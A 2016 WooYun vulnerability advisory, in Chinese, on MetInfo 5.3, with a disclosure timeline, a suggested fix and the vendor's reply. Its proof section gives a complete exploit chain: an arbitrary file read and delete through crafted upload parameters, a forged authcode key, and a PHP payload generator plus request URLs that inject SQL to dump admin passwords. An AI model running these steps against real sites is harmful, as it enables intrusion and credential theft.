当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0193729

漏洞标题:Metinfo 最新版前台注入一枚(可无需登陆,可直接出任意数据)

相关厂商:MetInfo

漏洞作者: ′雨。

提交时间:2016-04-08 14:26

修复时间:2016-07-07 14:40

公开时间:2016-07-07 14:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-08: 细节已通知厂商并且等待厂商处理中
2016-04-08: 厂商已经确认,细节仅向厂商公开
2016-04-11: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-06-02: 细节向核心白帽子及相关领域专家公开
2016-06-12: 细节向普通白帽子公开
2016-06-22: 细节向实习白帽子公开
2016-07-07: 细节向公众公开

简要描述:

好久没挖洞拉, 今天@玉林嘎 带我挖的洞,感人。
这个洞,能干的事情还有很多,不仅仅能注入。

详细说明:

在app\system\include\module\uploadify.class.php中

public function doupfile(){
global $_M;
$this->upfile->set_upfile();
$info['savepath'] = $_M['form']['savepath'];
$info['format'] = $_M['form']['format'];
$info['maxsize'] = $_M['form']['maxsize'];
$info['is_rename'] = $_M['form']['is_rename'];
$info['is_overwrite'] = $_M['form']['is_overwrite'];
$this->set_upload($info);
$back = $this->upload($_M['form']['formname']);
if($_M['form']['type']==1){
if($back['error']){
$back['error'] = $back['errorcode'];
}else{
$backs['path'] = $back['path'];
$backs['append'] = 'false';
$back = $backs;
}
}
echo jsonencode($back);
}


可以看到 什么上传的路径啊 都是可控的。。
跟一下。

public function set_upload($info){
global $_M;
$this->upfile->set('savepath', $info['savepath']);
$this->upfile->set('format', $info['format']);
$this->upfile->set('maxsize', $info['maxsize']);
$this->upfile->set('is_rename', $info['is_rename']);
$this->upfile->set('is_overwrite', $info['is_overwrite']);
}


设置了一下属性。
在看一下上传的地方

public function upload($form = '') {
global $_M;
if (is_array($form)) {
$filear = $form;
}else{
$filear = $_FILES[$form];
}
if(!$filear){
foreach($_FILES as $key => $val){
$filear = $_FILES[$key];
break;
}
}
//是否能正常上传
if(!is_array($filear))$filear['error'] = 4;
if($filear['error'] != 0 ){
$errors = array(
0 => $_M['word']['upfileOver4'],
1 => $_M['word']['upfileOver'],
2 => $_M['word']['upfileOver1'],
3 => $_M['word']['upfileOver2'],
4 => $_M['word']['upfileOver3'],
6 => $_M['word']['upfileOver5'],
7 => $_M['word']['upfileOver5']
);
$error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0];
return $this->error($errors[$filear['error']]);
}
//文件大小是否正确
if ($filear["size"] > $this->maxsize || $filear["size"] > $_M['config']['met_file_maxsize']*1048576) {
return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}");
}
//文件后缀是否为合法后缀
$this->getext($filear["name"]); //获取允许的后缀
if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
if ($_M['config']['met_file_format']) {
if($_M['config']['met_file_format'] != "" && !in_array(strtolower($this->ext), explode('|',strtolower($_M['config']['met_file_format']))) && $filear){
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
} else {
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
if ($this->format) {
if ($this->format != "" && !in_array(strtolower($this->ext), explode('|',strtolower($this->format))) && $filear) {
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
}
//文件名重命名
$this->set_savename($filear["name"], $this->is_rename);
//新建保存文件
if(stripos($this->savepath, PATH_WEB.'upload/') !== 0){
return $this->error($_M['word']['upfileFail2']);
}
if (!makedir($this->savepath)) {
return $this->error($_M['word']['upfileFail2']);
}
//复制文件
$upfileok=0;
$file_tmp=$filear["tmp_name"];
$file_name=$this->savepath.$this->savename;
if (stristr(PHP_OS,"WIN")) {
$file_name = @iconv("utf-8","GBK",$file_name);
}
if (function_exists("move_uploaded_file")) {
if (move_uploaded_file($file_tmp, $file_name)) {
$upfileok=1;
} else if (copy($file_tmp, $file_name)) {
$upfileok=1;
}
} elseif (copy($file_tmp, $file_name)) {
$upfileok=1;
}
if (!$upfileok) {
if (file_put_contents($this->savepath.'test.txt','metinfo')) {
$_M['word']['upfileOver4']=$_M['word']['upfileOver5'];
}
unlink($this->savepath.'test.txt');
$errors = array(0 => $_M['word']['upfileOver4'], 1 =>$_M['word']['upfileOver'], 2 => $_M['word']['upfileOver1'], 3 => $_M['word']['upfileOver2'], 4 => $_M['word']['upfileOver3'], 6=> $_M['word']['upfileOver5'], 7=> $_M['word']['upfileOver5']);
$filear['error']=$filear['error']?$filear['error']:0;
return $this->error($errors[$filear['error']]);
} else {
@unlink($filear['tmp_name']); //Delete temporary files
}

$back = '../'.str_replace(PATH_WEB, '', $this->savepath).$this->savename;
return $this->sucess($back);
}


基本都是可控的 。。 但是

if ($_M['config']['met_file_format']) {
if($_M['config']['met_file_format'] != "" && !in_array(strtolower($this->ext), explode('|',strtolower($_M['config']['met_file_format']))) && $filear){
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
}


可以的白名单限制了我们的filename 必须为jpg 之类的 没办法任意上传了。
继续看下面的。

if (function_exists("move_uploaded_file")) {
if (move_uploaded_file($file_tmp, $file_name)) {
$upfileok=1;
} else if (copy($file_tmp, $file_name)) {
$upfileok=1;
}
}


来看看$file_name的限制

$name_verification = explode('.',$filename);
$verification_mun = count($name_verification);
if($verification_mun>2){
$verification_mun1 = $verification_mun-1;
$name_verification1 = $name_verification[0];
for($i=0;$i<$verification_mun1;$i++){
$name_verification1 .= '_'.$name_verification[$i];
}
$name_verification1 .= '.'.$name_verification[$verification_mun1];
$filename = $name_verification1;
}
$filename = str_replace(array(":", "*", "?", "|", "/" , "\\" , "\"" , "<" , ">" , "——" , " " ),'_',$filename);
if (stristr(PHP_OS,"WIN")) {
$filename_temp = @iconv("utf-8","GBK",$filename);
}
$i=0;
$savename_temp=str_replace('.'.$this->ext,'',$filename_temp);
while (file_exists($this->savepath.$filename_temp)) {
$i++;
$filename_temp = $savename_temp.'('.$i.')'.'.'.$this->ext;
}
if ($i != 0) {
$filename = str_replace('.'.$this->ext,'',$filename).'('.$i.')'.'.'.$this->ext;
}
}
return $this->savename = $filename;


这里的$file_name 是必须以.jpg结尾的。 而且之前的小数点都会被替换为_
所以上传这个很蛋疼。。基本放弃了。
但是呢

if (function_exists("move_uploaded_file")) {
if (move_uploaded_file($file_tmp, $file_name)) {
$upfileok=1;
} else if (copy($file_tmp, $file_name)) {
$upfileok=1;
}
} elseif (copy($file_tmp, $file_name)) {
$upfileok=1;
}


这里的$file_name 因为之前的限制 不能直接上传php
但是我们看一下$file_tmp 怎么来的
$file_tmp=$filear["tmp_name"];
再看看$filear又是咋来的

if (is_array($form)) {
$filear = $form;
}else{
$filear = $_FILES[$form];
}


可以看到 如果我们传递的是_FILES的话 那么这个tmp_name 肯定是不可控制的。
但是上面 如果我们传递的是数组过来的话。 那么这个$filear就可控了。
这里的move_uploaded_file 因为路径的原因会失败 那么就会进行copy
copy($file_tmp, $file_name) 那么我们就可以复制任意的一个文件成一个jpg
我们就可以复制配置文件成jpg 然后就可以看到配置文件的源码了。
但是 很不幸的是。

if (!$upfileok) {
if (file_put_contents($this->savepath.'test.txt','metinfo')) {
$_M['word']['upfileOver4']=$_M['word']['upfileOver5'];
}
unlink($this->savepath.'test.txt');
$errors = array(0 => $_M['word']['upfileOver4'], 1 =>$_M['word']['upfileOver'], 2 => $_M['word']['upfileOver1'], 3 => $_M['word']['upfileOver2'], 4 => $_M['word']['upfileOver3'], 6=> $_M['word']['upfileOver5'], 7=> $_M['word']['upfileOver5']);
$filear['error']=$filear['error']?$filear['error']:0;
return $this->error($errors[$filear['error']]);
} else {
@unlink($filear['tmp_name']); //Delete temporary files
}


如果文件上传成功后 会删掉我们的临时文件。
这个是一个很正常的做法, 但是这时候我们的"临时文件"是我们网站的配置文件。 也会造成损失。
当然 这里也会造成任意文件删掉,但是测试的时候发现应该是config/config_db.php设置了权限 是删不掉的 其他的文件都能删掉。
进一步的利用 我们可以删掉install的lock 达到重装系统 最后getshell。
但是毕竟造成的损失太大。 找一个损失小的又能造成高危漏洞的地方。
在config/config_safe.php中 里面只有一行代码。
<?php/*R06DdgYN29vdspLQPZU52tMjElhnGSQe*/?>
这里面保存的是authcode函数 所用的key
我们在读取这个文件之后 这个文件就会被删掉。
我们再来看一下authcode函数

public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);


这时候因为config_safe.php被删掉了(删掉了并不会影响网站的正常运行), 那么$met_webkeys 就为空
$key ? $key : UC_KEY 这里的判断 因为$key的空 那么结果就是UC_KEY
但是也并没有UC_KEY这个常量 所以 UC_KEY就是一个字符串 我们的$key 就是md5后的UC_KEY
我们就能获得任意字符串经过authcode后的加密字符串。
再来找一下能在解密后利用的地方。
在app\system\web\user\profile.class.php中

public function dosafety_emailadd() {
global $_M;
if($_M['form']['p']){
$auth = load::sys_class('auth', 'new');
$email = $auth->decode($_M['form']['p']);
if($email){
if($this->userclass->editor_uesr_email($_M['user']['id'], $email)){
okinfo($_M['url']['profile_safety'], $_M['word']['bindingok']);


public function decode($str, $key = ''){
return $this->authcode($str, 'DECODE', $this->auth_key.$key);
}


这里我们$email 是对我们传递进来的变量解密后获得的

public function editor_uesr_email($userid, $email){
global $_M;
if(!$userid){
return false;
}
if($this->get_user_by_email($email)){
return false;
}
$query = "UPDATE {$_M['table']['user']} SET email = '{$email}' WHERE id = '{$userid}' ";
DB::query($query);
return true;
}


然后就直接带入了查询。
这里的话 有两种方式获取数据。
1: 我们自己注册一个会员 然后update我们的email 直接出数据
2: 不注册会员,直接延时盲注来获得数据。

漏洞证明:

演示下流程
第一步
http://localhost/metinfo5.3/app/system/entrance.php?c=uploadify&a=doupfile&savepath=../&formname[]=file&formname[name]=yu.jpg&formname[tmp_name]=../../config/config_safe.php&is_rename=0

1.png


返回{"error":"0","path":"..\/upload\/..\/yu.jpg"}
然后访问

2.png


返回
<?php/*Ae2mhnCxNoWRBkQbVyJiIvjuxnJElnSJ*/?>
然后写一个脚本

<?php 
exit(authcode("',email=(select concat(admin_id,0x23,admin_pass) from met_admin_table limit 1) where username = 'xiaoyu'#",'ENCODE'));
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){

$key = 'UC_KEY';
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}


然后访问一下这个文件

4.png


得到
86aeSfPSoF2GzlEZT/P/5SYZtef5kRNd/w5WSzvqnG5abewRENEPluivs1go/Qr%2bzOiZe1N7tFHFOrw5Z63TiaPuqT005coGkjt5H6u5gkHxXrkGo3DU0P7rb9InuTdquyY5Z//DiooyKPfwblSiyQ9WepGho1leUDPU2%2bhMXjAQfnx33pQ

4.png


然后去注册一个号 xiaoyu xiaoyu

3.png


再请求
http://localhost/metinfo5.3/admin/index.php?m=web&n=user&c=profile&a=dosafety_emailadd&password=xx&p=86aeSfPSoF2GzlEZT/P/5SYZtef5kRNd/w5WSzvqnG5abewRENEPluivs1go/Qr%2bzOiZe1N7tFHFOrw5Z63TiaPuqT005coGkjt5H6u5gkHxXrkGo3DU0P7rb9InuTdquyY5Z//DiooyKPfwblSiyQ9WepGho1leUDPU2%2bhMXjAQfnx33pQ

5.png


最后访问http://localhost/metinfo5.3/member/basic.php?lang=cn&a=dosafety

6.png


修复方案:

if (is_array($form)) {
$filear = $form;
}else{
$filear = $_FILES[$form];
}
直接改成 $filear = $_FILES[$form]; 把。
当然还有一些地方 自己看看咯。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-04-08 14:33

厂商回复:

感谢您的反馈,后续版本修复。

最新状态:

暂无